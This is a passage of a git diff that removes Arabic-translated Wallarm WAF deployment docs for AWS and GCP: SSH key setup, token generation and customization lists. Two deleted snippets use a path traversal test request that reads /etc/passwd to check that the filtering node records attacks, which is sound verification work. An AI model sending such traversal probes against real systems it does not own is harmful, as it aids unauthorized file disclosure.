بتنسيق PEM الذي [أنشأته سابقًا][anchor2] للاتصال بالعينة عبر SSH. يجب أن يكون هذا المفتاح الخاص من زوج مفاتيح SSH الذي حددته عند إنشاء عينة. - -## 5. توليد رمز لربط عينة بسحابة Wallarm - -تحتاج العقدة المحلية لتصفية Wallarm إلى الاتصال بسحابة Wallarm باستخدام رمز Wallarm من [النوع المناسب][wallarm-token-types]. يتيح رمز API إنشاء مجموعة عقد في واجهة مستخدم وحدة تحكم Wallarm، مما يساعد في تنظيم عينات العقد الخاصة بك بفعالية. - -![عقد مجمعة][img-grouped-nodes] - -ولتوليد رمز: - -=== "رمز API" - - 1. افتح وحدة تحكم Wallarm → **الإعدادات** → **رموز API** في [السحابة الأمريكية](https://us1.my.wallarm.com/settings/api-tokens) أو [السحابة الأوروبية](https://my.wallarm.com/settings/api-tokens). - 1. ابحث أو أنشئ رمز API بدور المصدر `Deploy`. - 1. انسخ هذا الرمز. -=== "رمز العقدة" - - 1. افتح وحدة تحكم Wallarm → **العقد** في [السحابة الأمريكية](https://us1.my.wallarm.com/nodes) أو [السحابة الأوروبية](https://my.wallarm.com/nodes). - 1. قم بإحدى الإجراءات التالية: - * أنشئ عقدة من نوع **عقدة Wallarm** وانسخ الرمز الذي تم توليده. - * استخدم مجموعة عقد موجودة - انسخ الرمز باستخدام قائمة العقدة → **انسخ الرمز**. \ No newline at end of file diff --git a/include-ar/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-ami.md b/include-ar/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-ami.md deleted file mode 100644 index dd16d1f616..0000000000 --- a/include-ar/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-ami.md +++ /dev/null @@ -1,82 +0,0 @@ -## المتطلبات - -* حساب AWS -* فهم لـ AWS EC2، ومجموعات الأمان -* أي منطقة AWS من اختيارك، ليس هناك قيود محددة على المنطقة لنشر عقدة Wallarm -* الوصول إلى الحساب بدور **المدير** والمصادقة الثنائية معطلة في وحدة تحكم Wallarm لـ[السحابة الأمريكية](https://us1.my.wallarm.com/) أو [السحابة الأوروبية](https://my.wallarm.com/) -* الوصول إلى `https://us1.api.wallarm.com:444` للعمل مع سحابة Wallarm الأمريكية أو إلى `https://api.wallarm.com:444` للعمل مع سحابة Wallarm الأوروبية. إذا كان يمكن تكوين الوصول عبر خادم الوكيل فقط، فاستخدم [التعليمات][wallarm-api-via-proxy] -* تنفيذ جميع الأوامر على عقدة Wallarm كمستخدم ذو صلاحيات عليا (مثل `root`) - -## 1. إنشاء زوج من مفاتيح SSH في AWS - -أثناء عملية النشر، ستحتاج إلى الاتصال بالجهاز الافتراضي عبر SSH. يتيح Amazon EC2 إنشاء زوج مسمى من المفاتيح العامة والخاصة لـ SSH والتي يمكن استخدامها للاتصال بالعقدة. - -لإنشاء زوج من المفاتيح: - -1. انتقل إلى علامة التبويب **مفاتيح الزوج** على لوحة تحكم Amazon EC2. -2. اضغط على زر **إنشاء زوج مفاتيح**. -3. أدخل اسم زوج المفاتيح واضغط على زر **إنشاء**. - -سيبدأ تلقائيًا تنزيل مفتاح SSH الخاص بتنسيق PEM. احفظ المفتاح للاتصال بالعقدة التي تم إنشاؤها في المستقبل. - -للاطلاع على معلومات مفصلة حول إنشاء مفاتيح SSH، انتقل إلى [وثائق AWS][link-ssh-keys]. - -## 2. إنشاء مجموعة أمان - -تحدد مجموعة الأمان الاتصالات الواردة والصادرة المسموح بها والممنوعة للأجهزة الافتراضية. تعتمد القائمة النهائية للاتصالات على التطبيق المحمي (مثل، السماح بجميع الاتصالات الواردة إلى منافذ TCP/80 و TCP/443). - -لإنشاء مجموعة أمان لعقدة التصفية: - -1. انتقل إلى علامة التبويب **مجموعات الأمان** على لوحة تحكم Amazon EC2 واضغط على زر **إنشاء مجموعة أمان**. -2. أدخل اسم مجموعة الأمان ووصف اختياري في نافذة الحوار التي تظهر. -3. اختر VPC المطلوبة. -4. قم بتكوين قواعد الاتصالات الواردة والصادرة على علامات التبويب **الوارد** و**الصادر**. -5. اضغط على زر **إنشاء** لإنشاء مجموعة الأمان. - -![إنشاء مجموعة أمان][img-create-sg] - -!!! تحذير "قواعد الاتصالات الصادرة من مجموعة الأمان" - عند إنشاء مجموعة أمان، تُسمح جميع الاتصالات الصادرة بشكل افتراضي. إذا كنت تقيد الاتصالات الصادرة من عقدة التصفية، تأكد من أنه تم منحها الوصول إلى خادم API Wallarm. يعتمد اختيار خادم API Wallarm على السحابة Wallarm التي تستخدمها: - - * إذا كنت تستخدم السحابة الأمريكية، تحتاج عقدتك إلى الوصول إلى `us1.api.wallarm.com`. - * إذا كنت تستخدم السحابة الأوروبية، تحتاج عقدتك إلى الوصول إلى `api.wallarm.com`. - - تحتاج عقدة التصفية إلى الوصول إلى خادم API Wallarm للعمل بشكل صحيح. - -للاطلاع على معلومات مفصلة حول إنشاء مجموعة أمان، انتقل إلى [وثائق AWS][link-sg]. - -## 3. إطلاق عقدة Wallarm - -لإطلاق عقدة بخاصية تصفية Wallarm، انتقل إلى هذا [الرابط](https://aws.amazon.com/marketplace/pp/B073VRFXSD) واشترك في عقدة التصفية. - -عند إنشاء عقدة، تحتاج إلى تحديد [مجموعة الأمان المُنشأة مسبقًا][anchor1] كما يلي: - -1. أثناء العمل مع معالج إطلاق العقدة، انتقل إلى خطوة إطلاق العقدة **6. تكوين مجموعة الأمان** بالنقر على علامة التبويب المقابلة. -2. اختر خيار **تحديد مجموعة أمان موجودة** في إعداد **تعيين مجموعة أمان**. -3. حدد مجموعة الأمان من القائمة التي تظهر. - -بعد تحديد جميع إعدادات العقدة المطلوبة، اضغط على زر **مراجعة وإطلاق**، تأكد من تكوين العقدة بشكل صحيح، واضغط على زر **إطلاق**. - -في النافذة التي تظهر، حدد مفتاح [الزوج المُنشأ مسبقًا][anchor2] من خلال القيام بالإجراءات التالية: - -1. في القائمة المنسدلة الأولى، حدد خيار **اختيار زوج مفاتيح موجود**. -2. في القائمة المنسدلة الثانية، حدد اسم زوج المفاتيح. -3. تأكد من أن لديك الوصول إلى المفتاح الخاص بتنسيق PEM من زوج المفاتيح الذي حددته في القائمة المنسدلة الثانية وضع علامة في المربع لتأكيد ذلك. -4. اضغط على زر **إطلاق العقد**. - -سيتم إطلاق العقدة مع عقدة التصفية المثبتة مسبقًا. - -للاطلاع على معلومات مفصلة حول إطلاق العقد في AWS، انتقل إلى [وثائق AWS][link-launch-instance]. - -## 4. الاتصال بعقدة التصفية عبر SSH - -للاطلاع على معلومات مفصلة حول طرق الاتصال بعقدة عبر SSH، انتقل إلى [وثائق AWS](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AccessingInstances.html). - -تحتاج إلى استخدام اسم المستخدم `admin` للاتصال بالعقدة. - -!!! معلومات "استخدام المفتاح للاتصال عبر SSH" - استخدم المفتاح الخاص بتنسيق PEM الذي [أنشأته سابقًا][anchor2] للاتصال بالعقدة عبر SSH. يجب أن يكون هذا هو المفتاح الخاص من زوج مفاتيح SSH الذي حددته عند إنشاء عقدة. - -## 5. ربط عقدة التصفية بسحابة Wallarm - ---8<-- "../include/waf/installation/connect-waf-and-cloud-4.6-only-with-postanalytics.md" \ No newline at end of file diff --git a/include-ar/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-4.6.md b/include-ar/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-4.6.md deleted file mode 100644 index 23bfebcebd..0000000000 --- a/include-ar/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-4.6.md +++ /dev/null @@ -1,71 +0,0 @@ -## المتطلبات - -* حساب على GCP -* الوصول إلى الحساب بدور **المدير** والمصادقة الثنائية معطلة في واجهة Wallarm للسحابة [الأمريكية](https://us1.my.wallarm.com/) أو [الأوروبية](https://my.wallarm.com/) -* الوصول إلى `https://us1.api.wallarm.com:444` للعمل مع السحابة الأمريكية لـWallarm أو إلى `https://api.wallarm.com:444` للعمل مع السحابة الأوروبية لـWallarm. إذا كان يمكن تهيئة الوصول فقط عبر خادم الوكيل، فيرجى استخدام [التعليمات][wallarm-api-via-proxy] -* تنفيذ جميع الأوامر على نسخة Wallarm كمستخدم فائق (مثل `root`) - -## 1. إطلاق نسخة عُقدة التصفية - -### إطلاق النسخة عبر واجهة Google Cloud - -لإطلاق نسخة عُقدة التصفية عبر واجهة Google Cloud، يرجى فتح [صورة عُقدة Wallarm في Google Cloud Marketplace](https://console.cloud.google.com/launcher/details/wallarm-node-195710/wallarm-node) واضغط على **GET STARTED**. - -سيتم إطلاق النسخة مع عُقدة تصفية مثبتة مسبقًا. لرؤية معلومات مفصلة حول إطلاق النُسخ في Google Cloud، يرجى الانتقال إلى [وثائق منصة Google Cloud الرسمية][link-launch-instance]. - -### إطلاق النسخة عبر Terraform أو أدوات أخرى - -عند استخدام أداة مثل Terraform لإطلاق نسخة عُقدة التصفية باستخدام صورة GCP الخاصة بـWallarm، قد تحتاج إلى تقديم اسم هذه الصورة في تكوين Terraform. - -* يكون لاسم الصورة الصيغة التالية: - - ```bash - wallarm-node-195710/wallarm-node--build - ``` -* لإطلاق النسخة مع إصدار عُقدة التصفية 4.6، يرجى استخدام اسم الصورة التالي: - - ```bash - wallarm-node-195710/wallarm-node-4-6-20230630-122224 - ``` - -للحصول على اسم الصورة، يمكنك أيضًا اتباع هذه الخطوات: - -1. تثبيت [Google Cloud SDK](https://cloud.google.com/sdk/docs/install). -2. تنفيذ الأمر [`gcloud compute images list`](https://cloud.google.com/sdk/gcloud/reference/compute/images/list) مع الوسائط التالية: - - ```bash - gcloud compute images list --project wallarm-node-195710 --filter="name~'wallarm-node-4-6-*'" --no-standard-images - ``` -3. نسخ قيمة الإصدار من اسم أحدث صورة متوفرةوالصق القيمة المنسوخة في صيغة اسم الصورة المقدم. على سبيل المثال، سيكون لصورة عُقدة التصفية إصدار 4.6 الاسم التالي: - - ```bash - wallarm-node-195710/wallarm-node-4-6-20230630-122224 - ``` - -## 2. تكوين نسخة عُقدة التصفية - -قم بتنفيذ الإجراءات التالية لتكوين نسخة عُقدة التصفية المطلقة: - -1. انتقل إلى صفحة **VM instances** في قسم **Compute Engine** من القائمة. -2. اختر نسخة عُقدة التصفية المطلقةواضغط على زر **Edit**. -3. اسمح بأنواع حركة المرور الواردة المطلوبة بتحديد الخانات المناسبة في إعداد **Firewalls**. -4. إذا لزم الأمر، يمكنك تقييد الاتصال بالنسخة باستخدام مفاتيح SSH الخاصة بالمشروع واستخدام زوج مفاتيح SSH مخصص للاتصال بهذه النسخة. للقيام بذلك، قم بتنفيذ الإجراءات التالية: - 1. حدد خانة **Block project-wide** في إعداد **SSH Keys**. - 2. اضغط على زر **Show and edit** في إعداد **SSH Keys** لتوسيع الحقل لإدخال مفتاح SSH. - 3. قم بإنشاء زوج من مفاتيح SSH العامة والخاصة. على سبيل المثال، يمكنك استخدام أدوات `ssh-keygen` و`PuTTYgen`. - - ![إنشاء مفاتيح SSH باستخدام PuTTYgen][img-ssh-key-generation] - - 4. انسخ المفتاح المفتوح بتنسيق OpenSSH من واجهة مولد المفاتيح المستخدم (في المثال الحالي، يجب نسخ المفتاح العام من منطقة **Public key for pasting into OpenSSH authorized_keys file** في واجهة PuTTYgen) والصقه في الحقل الذي يحتوي على تلميح **Enter entire key data**. - 5. احفظ المفتاح الخاص. سيكون مطلوبًا للاتصال بالنسخة المُكونة في المستقبل. -5. اضغط على زر **Save** في أسفل الصفحة لتطبيق التغييرات. - -## 3. الاتصال بنسخة عُقدة التصفية عبر SSH - -لرؤية معلومات مفصلة حول طرق الاتصال بالنسخ، انتقل إلى هذا [الرابط](https://cloud.google.com/compute/docs/instances/connecting-to-instance). - ---8<-- "../include/gcp-autoscaling-connect-ssh.md" - -## 4. ربط عُقدة التصفية بسحابة Wallarm - ---8<-- "../include/waf/installation/connect-waf-and-cloud-4.6-only-with-postanalytics.md" \ No newline at end of file diff --git a/include-ar/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-4.8.md b/include-ar/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-4.8.md deleted file mode 100644 index dc5a0550a2..0000000000 --- a/include-ar/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-4.8.md +++ /dev/null @@ -1,71 +0,0 @@ -## المتطلبات - -* حساب في GCP -* الوصول إلى الحساب بدور **المدير**وتعطيل المصادقة ثُنائية العوامل في واجهة Wallarm Console لـ[السحاب الأمريكي](https://us1.my.wallarm.com/) أو [السحاب الأوروبي](https://my.wallarm.com/) -* الوصول إلى `https://us1.api.wallarm.com:444`للعمل مع Wallarm Cloud الأمريكي أو إلى `https://api.wallarm.com:444`للعمل مع Wallarm Cloud الأوروبي. إذا كان يمكن تكوين الوصول عبر خادم الوكيل فقط، فاستخدم [التعليمات][wallarm-api-via-proxy] -* تنفيذ كافة الأوامر على نموذج Wallarm كمستخدم فائق الصلاحيات (مثل `root`) - -## 1. إطلاق نموذج عقدة التصفية - -### إطلاق النموذج عبر واجهة Google Cloud - -لإطلاق نموذج عقدة التصفية عبر واجهة Google Cloud، يُرجى فتح [صورة عقدة Wallarm في سوق Google Cloud](https://console.cloud.google.com/launcher/details/wallarm-node-195710/wallarm-node) والنقر على **بدء الاستخدام**. - -سيتم إطلاق النموذج مع عقدة التصفية المثبتة مسبقًا. للبحث في المعلومات التفصيلية حول إطلاق النماذج في Google Cloud، يُرجى المتابعة إلى [وثائق منصة Google Cloud الرسمية][link-launch-instance]. - -### إطلاق النموذج عبر Terraform أو أدوات أخرى - -عند استخدام أداة مثل Terraform لإطلاق نموذج عقدة التصفية باستخدام صورة Wallarm GCP، قد يتطلب منك تقديم اسم هذه الصورة في تكوين Terraform. - -* يكون اسم الصورة وفقًا للتنسيق التالي: - - ```bash - wallarm-node-195710/wallarm-node-<إصدار الصورة>-build - ``` -* لإطلاق النموذج بإصدار عقدة التصفية 4.8، يُرجى استخدام اسم الصورة التالي: - - ```bash - wallarm-node-195710/wallarm-node-4-8-20231019-221905 - ``` - -للحصول على اسم الصورة، يمكنك أيضًا اتباع الخطوات التالية: - -1. تثبيت [Google Cloud SDK](https://cloud.google.com/sdk/docs/install). -2. تنفيذ الأمر [`gcloud compute images list`](https://cloud.google.com/sdk/gcloud/reference/compute/images/list) بالمعلمات التالية: - - ```bash - gcloud compute images list --project wallarm-node-195710 --filter="name~'wallarm-node-4-8-*'" --no-standard-images - ``` -3. نسخ قيمة الإصدار من اسم أحدث صورة متاحة ولصق القيمة المنسوخة في تنسيق اسم الصورة المُقدم. على سبيل المثال، سيكون لإصدار عقدة التصفية 4.8 الاسم التالي: - - ```bash - wallarm-node-195710/wallarm-node-4-8-20231019-221905 - ``` - -## 2. تكوين نموذج عقدة التصفية - -قُم بالأعمال التالية لتكوين نموذج عقدة التصفية المُطلق: - -1. التوجه إلى صفحة **نماذج VM** في قسم **خدمة الحوسبة** من القائمة. -2. تحديد نموذج عقدة التصفية المُطلق والنقر على زر **تعديل**. -3. تمكين أنواع حركة المرور الواردة المطلوبة من خلال وضع علامات في المربعات المناسبة في إعداد **جدران الحماية**. -4. إذا لزم الأمر، يمكنك تقييد الاتصال بالنموذج باستخدام مفاتيح SSH الخاصة بالمشروع واستخدام زوج مفاتيح SSH مخصص للاتصال بهذا النموذج. للقيام بذلك، قُم بالأعمال التالية: - 1. وضع علامة في مربع **حظر على مستوى المشروع** في إعداد **مفاتيح SSH**. - 2. النقر على زر **إظهار وتعديل** في إعداد **مفاتيح SSH** لتوسيع الحقل الخاص بإدخال مفتاح SSH. - 3. توليد زوج من مفاتيح SSH العامة والخاصة. على سبيل المثال، يمكنك استخدام أدوات `ssh-keygen` و`PuTTYgen`. - - ![توليد مفاتيح SSH باستخدام PuTTYgen][img-ssh-key-generation] - - 4. نسخ مفتاح العام بتنسيق OpenSSH من واجهة مولد المفاتيح المستخدم (في المثال الحالي، يجب نسخ المفتاح العام من منطقة **مفتاح عام للصق في ملف OpenSSH authorized_keys** من واجهة PuTTYgen) ولصقه في الحقل الذي يحتوي على تلميح **أدخل بيانات المفتاح كاملة**. - 5. حفظ المفتاح الخاص. سيكون مطلوبًا للاتصال بالنموذج المُكوَّن في المستقبل. -5. النقر على زر **حفظ** في أسفل الصفحة لتطبيق التغييرات. - -## 3. الاتصال بنموذج عقدة التصفية عبر SSH - -للبحث في المعلومات التفصيلية حول طرق الاتصال بالنماذج، يُرجى المتابعة إلى هذا [الرابط](https://cloud.google.com/compute/docs/instances/connecting-to-instance). - ---8<-- "../include/gcp-autoscaling-connect-ssh.md" - -## 4. ربط عقدة التصفية ب Wallarm Cloud - ---8<-- "../include/waf/installation/connect-waf-and-cloud-4.6-only-with-postanalytics.md" \ No newline at end of file diff --git a/include-ar/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image.md b/include-ar/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image.md deleted file mode 100644 index 5d73cfcbbf..0000000000 --- a/include-ar/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image.md +++ /dev/null @@ -1,87 +0,0 @@ -## المتطلبات - -* حساب على GCP -* الوصول للحساب بدور **المدير** وتعطيل التوثيق الثنائي في واجهة Wallarm لـ[السحابة الأمريكية](https://us1.my.wallarm.com/) أو [السحابة الأوروبية](https://my.wallarm.com/) -* الوصول إلى `https://us1.api.wallarm.com:444` للعمل مع سحابة Wallarm الأمريكية أوإلى `https://api.wallarm.com:444` للعمل مع سحابة Wallarm الأوروبية. إذا تم تكوين الوصول عبر خادم الوكيل فقط، استخدم [التعليمات][wallarm-api-via-proxy] -* تنفيذ جميع الأوامر على نسخة Wallarm بصفتك المستخدم الأعلى (مثل `root`) - -## 1. إطلاق نسخة عقدة الفلترة - -### إطلاق النسخة عبر واجهة Google Cloud - -لإطلاق نسخة عقدة الفلترة عبر واجهة Google Cloud، يرجى فتح [صورة عقدة Wallarm على سوق Google Cloud](https://console.cloud.google.com/launcher/details/wallarm-node-195710/wallarm-node) والنقر على **GET STARTED**. - -سيتم إطلاق النسخة مع عقدة فلترة مثبتة مسبقاً. لرؤية معلومات مفصلة حول إطلاق النسخ في Google Cloud، يرجى المتابعة إلى [الوثائق الرسمية لمنصة Google Cloud][link-launch-instance]. - -### إطلاق النسخة عبر Terraform أو أدوات أخرى - -عند استخدام أداة مثل Terraform لإطلاق نسخة عقدة الفلترة باستخدام صورة Wallarm GCP، قد تحتاج إلى توفير اسم هذه الصورة في تكوين Terraform. - -* يكون لاسم الصورة الشكل التالي: - - ```bash - wallarm-node-195710/wallarm-node--build - ``` -* لإطلاق النسخة مع إصدار عقدة الفلترة 4.10، يرجى استخدام اسم الصورة التالي: - - ```bash - wallarm-node-195710/wallarm-node-4-10-20240220-234618 - ``` - -للحصول على اسم الصورة، يمكنك أيضاً اتباع هذه الخطوات: - -1. تثبيت [Google Cloud SDK](https://cloud.google.com/sdk/docs/install). -2. تنفيذ الأمر [`gcloud compute images list`](https://cloud.google.com/sdk/gcloud/reference/compute/images/list) بالمعاملات التالية: - - ```bash - gcloud compute images list --project wallarm-node-195710 --filter="name~'wallarm-node-4-10-*'" --no-standard-images - ``` -3. نسخ قيمة الإصدار من اسم أحدث صورة متوفرة ولصق القيمة المنسوخة في شكل اسم الصورة الموفر. على سبيل المثال، سيكون لصورة إصدار عقدة الفلترة 4.10 الاسم التالي: - - ```bash - wallarm-node-195710/wallarm-node-4-10-20240220-234618 - ``` - -## 2. تكوين نسخة عقدة الفلترة - -نفذ الإجراءات التالية لتكوين نسخة عقدة الفلترة المطلقة: - -1. الانتقال إلى صفحة **VM instances** في قسم **Compute Engine** من القائمة. -2. اختيار نسخة عقدة الفلترة المطلقة والنقر على زر **Edit**. -3. السماح بأنواع حركة المرور الواردة المطلوبة بوضع علامات في المربعات المقابلة في إعداد **Firewalls**. -4. إذا لزم الأمر، يمكن تقييد الاتصال بالنسخة بمفاتيح SSH الخاصة بالمشروع واستخدام زوج مفاتيح SSH مخصص للاتصال بهذه النسخة. للقيام بذلك، نفذ الإجراءات التالية: - 1. وضع علامة في مربع **Block project-wide** في إعداد **SSH Keys**. - 2. النقر على زر **Show and edit** في إعداد **SSH Keys** لتوسيع الحقل المخصص لإدخال مفتاح SSH. - 3. إنشاء زوج من مفاتيح SSH العامة والخاصة. على سبيل المثال، يمكن استخدام أدوات `ssh-keygen` و`PuTTYgen`. - - ![توليد مفاتيح SSH باستخدام PuTTYgen][img-ssh-key-generation] - - 4. نسخ مفتاح عام بتنسيق OpenSSH من واجهة مولد المفاتيح المستخدم (في المثال الحالي، يجب نسخ المفتاح العام من منطقة **Public key for pasting into OpenSSH authorized_keys file** في واجهة PuTTYgen) ولصقه في الحقل الذي يحتوي على تلميح **Enter entire key data**. - 5. حفظ المفتاح الخاص. سيكون مطلوباً للاتصال بالنسخة المكونة في المستقبل. -5. النقر على زر **Save** في أسفل الصفحة لتطبيق التغييرات. - -## 3. الاتصال بنسخة عقدة الفلترة عبر SSH - -لرؤية معلومات مفصلة حول طرق الاتصال بالنسخ، تابع إلى هذا [الرابط](https://cloud.google.com/compute/docs/instances/connecting-to-instance). - ---8<-- "../include/gcp-autoscaling-connect-ssh.md" - -## 4. توليد رمز لربط النسخة بسحابة Wallarm - -تحتاج النسخة المحلية من عقدة الفلترة Wallarm إلى الاتصال بسحابة Wallarm باستخدام رمز Wallarm من [النوع المناسب][wallarm-token-types]. يسمح رمز API بإنشاء مجموعة عقد في واجهة Wallarm Console، مما يساعد في تنظيم نسخ العقد بفعالية. - -![مجموعات العقد][img-grouped-nodes] - -قم بتوليد رمز على النحو التالي: - -=== "رمز API" - - 1. افتح Wallarm Console → **الإعدادات** → **رموز API** في [السحابة الأمريكية](https://us1.my.wallarm.com/settings/api-tokens) أو [السحابة الأوروبية](https://my.wallarm.com/settings/api-tokens). - 1. ابحث أو أنشئ رمز API بدور المصدر `Deploy`. - 1. انسخ هذا الرمز. -=== "رمز العقدة" - - 1. افتح Wallarm Console → **العقد** في [السحابة الأمريكية](https://us1.my.wallarm.com/nodes) أو [السحابة الأوروبية](https://my.wallarm.com/nodes). - 1. قم بإحدى الخطوات التالية: - * إنشاء عقدة من نوع **عقدة Wallarm** ونسخ الرمز المولد. - * استخدام مجموعة عقد موجودة - نسخ الرمز باستخدام قائمة العقدة → **نسخ الرمز**. \ No newline at end of file diff --git a/include-ar/waf/installation/cloud-platforms/restart-nginx.md b/include-ar/waf/installation/cloud-platforms/restart-nginx.md deleted file mode 100644 index 0147ef71e6..0000000000 --- a/include-ar/waf/installation/cloud-platforms/restart-nginx.md +++ /dev/null @@ -1,7 +0,0 @@ -لتطبيق الإعدادات، يجب إعادة تشغيل NGINX على نسخة Wallarm: - -``` bash -sudo systemctl restart nginx -``` - -كل تغيير في ملف التكوين يتطلب من NGINX أن يُعاد تشغيله لتطبيقه. \ No newline at end of file diff --git a/include-ar/waf/installation/cloud-platforms/test-operation-inline.md b/include-ar/waf/installation/cloud-platforms/test-operation-inline.md deleted file mode 100644 index c6134e8844..0000000000 --- a/include-ar/waf/installation/cloud-platforms/test-operation-inline.md +++ /dev/null @@ -1,9 +0,0 @@ -1. الطلب مع هجوم [اختبار اختراق المسار][ptrav-attack-docs] إلى عنوان إما موزع الحمل أو الجهاز الذي يحتوي على عقدة Wallarm: - - ``` - curl http://
              /etc/passwd - ``` -2. افتح واجهة Wallarm → قسم **الهجمات** في [السحابة الأمريكية](https://us1.my.wallarm.com/attacks) أو [السحابة الأوروبية](https://my.wallarm.com/attacks) وتأكد من ظهور الهجوم في القائمة. - ![الهجمات في الواجهة][attacks-in-ui-image] - -بما أن Wallarm يعمل في وضع المراقبة، فإن عقدة Wallarm لا تقوم بحظر الهجوم ولكنها تسجله. \ No newline at end of file diff --git a/include-ar/waf/installation/cloud-platforms/test-operation-oob.md b/include-ar/waf/installation/cloud-platforms/test-operation-oob.md deleted file mode 100644 index d8aab98826..0000000000 --- a/include-ar/waf/installation/cloud-platforms/test-operation-oob.md +++ /dev/null @@ -1,9 +0,0 @@ -1. الطلب مع هجوم اختبار [Path Traversal][ptrav-attack-docs] إلى عنوان إما خادم الويب أو الخادم الوكيل الذي يعكس حركة المرور أو الجهاز الذي يحتوي على عقدة Wallarm: - - ``` - curl http://
              /etc/passwd - ``` -2. افتح واجهة Wallarm → قسم **الهجمات** في [السحابة الأمريكية](https://us1.my.wallarm.com/attacks) أو [السحابة الأوروبية](https://my.wallarm.com/attacks) وتأكد من ظهور الهجوم في القائمة. - ![الهجمات في الواجهة][attacks-in-ui-image] - -نظرًا لأن Wallarm OOB يعمل في وضع المراقبة، فإن عقدة Wallarm لا تحجب الهجوم ولكنها تسجله. \ No newline at end of file diff --git a/include-ar/waf/installation/common-customization-options-216.md b/include-ar/waf/installation/common-customization-options-216.md deleted file mode 100644 index 7833ecf5a8..0000000000 --- a/include-ar/waf/installation/common-customization-options-216.md +++ /dev/null @@ -1,10 +0,0 @@ -خيارات التخصيص الشائعة: - -* [تكوين وضع التصفية][waf-mode-instr] -* [تسجيل متغيرات عقدة Wallarm][logging-instr] -* [استخدام موزع الأحمال لخادم الوكيل خلف عقدة التصفية][proxy-balancer-instr] -* [إضافة عناوين ماسح Wallarm إلى قائمة السماح في وضع التصفية `block`][scanner-allowlisting-instr] -* [تحديد وقت معالجة الطلب الفردي في الأمر `wallarm_process_time_limit`][process-time-limit-instr] -* [تحديد وقت انتظار رد الخادم في أمر NGINX `proxy_read_timeout`](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [تحديد الحجم الأقصى للطلب في أمر NGINX `client_max_body_size`](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [اكتشاف الهجمات مرتين مع **libdetection**][enable-libdetection-docs] \ No newline at end of file diff --git a/include-ar/waf/installation/common-customization-options-4.4.md b/include-ar/waf/installation/common-customization-options-4.4.md deleted file mode 100644 index ef0e5704cf..0000000000 --- a/include-ar/waf/installation/common-customization-options-4.4.md +++ /dev/null @@ -1,8 +0,0 @@ -خيارات التخصيص الشائعة: - -* [تهيئة وضع التصفية][waf-mode-instr] -* [تسجيل متغيرات عقدة Wallarm][logging-instr] -* [استخدام موازن الحمل لخادم الوكيل خلف عقدة التصفية][proxy-balancer-instr] -* [تحديد زمن معالجة الطلب الواحد في الأمر `wallarm_process_time_limit`][process-time-limit-instr] -* [تحديد زمن انتظار رد الخادم في أمر NGINX `proxy_read_timeout`](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [تحديد الحجم الأقصى للطلب في أمر NGINX `client_max_body_size`](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) \ No newline at end of file diff --git a/include-ar/waf/installation/common-customization-options-docker-216.md b/include-ar/waf/installation/common-customization-options-docker-216.md deleted file mode 100644 index 9b486c2637..0000000000 --- a/include-ar/waf/installation/common-customization-options-docker-216.md +++ /dev/null @@ -1,7 +0,0 @@ -* [تكوين وضع التصفية][waf-mode-instr] -* [تسجيل متغيرات عقدة Wallarm][logging-instr] -* [إضافة عناوين Wallarm Scanner إلى قائمة السماح في وضع التصفية `block`][scanner-allowlisting-instr] -* [تحديد وقت معالجة الطلب الواحد في التوجيه `wallarm_process_time_limit`][process-time-limit-instr] -* [تحديد وقت انتظار رد الخادم في التوجيه NGINX `proxy_read_timeout`](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [تحديد الحجم الأقصى للطلب في التوجيه NGINX `client_max_body_size`](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [الكشف المزدوج عن الهجمات باستخدام **libdetection**][enable-libdetection-docs] \ No newline at end of file diff --git a/include-ar/waf/installation/common-customization-options-docker-4.4.md b/include-ar/waf/installation/common-customization-options-docker-4.4.md deleted file mode 100644 index 2511034266..0000000000 --- a/include-ar/waf/installation/common-customization-options-docker-4.4.md +++ /dev/null @@ -1,5 +0,0 @@ -* [تكوين وضع الفلترة][waf-mode-instr] -* [تسجيل متغيرات عقدة Wallarm][logging-instr] -* [تحديد زمن معالجة الطلب الواحد في التوجيه `wallarm_process_time_limit`][process-time-limit-instr] -* [تحديد زمن انتظار رد الخادم في التوجيه NGINX `proxy_read_timeout`](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [تحديد الحجم الأقصى للطلب في التوجيه NGINX `client_max_body_size`](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) \ No newline at end of file diff --git a/include-ar/waf/installation/common-customization-options-docker.md b/include-ar/waf/installation/common-customization-options-docker.md deleted file mode 100644 index 2e5eca968e..0000000000 --- a/include-ar/waf/installation/common-customization-options-docker.md +++ /dev/null @@ -1,6 +0,0 @@ -* [تكوين وضعية الترشيح][waf-mode-instr] -* [تسجيل متغيرات عقدة Wallarm][logging-instr] -* [تحديد وقت معالجة الطلب الفردي في توجيه `wallarm_process_time_limit`][process-time-limit-instr] -* [تحديد وقت انتظار رد الخادم في توجيه NGINX `proxy_read_timeout`](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [تحديد الحجم الأقصى للطلب في توجيه NGINX `client_max_body_size`](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [الكشف المزدوج عن الهجمات بواسطة **libdetection**][enable-libdetection-docs] \ No newline at end of file diff --git a/include-ar/waf/installation/common-customization-options-nginx-216.md b/include-ar/waf/installation/common-customization-options-nginx-216.md deleted file mode 100644 index c409afc5e7..0000000000 --- a/include-ar/waf/installation/common-customization-options-nginx-216.md +++ /dev/null @@ -1,11 +0,0 @@ -خيارات التخصيص الشائعة: - -* [تكوين وضع التصفية][waf-mode-instr] -* [تسجيل متغيرات 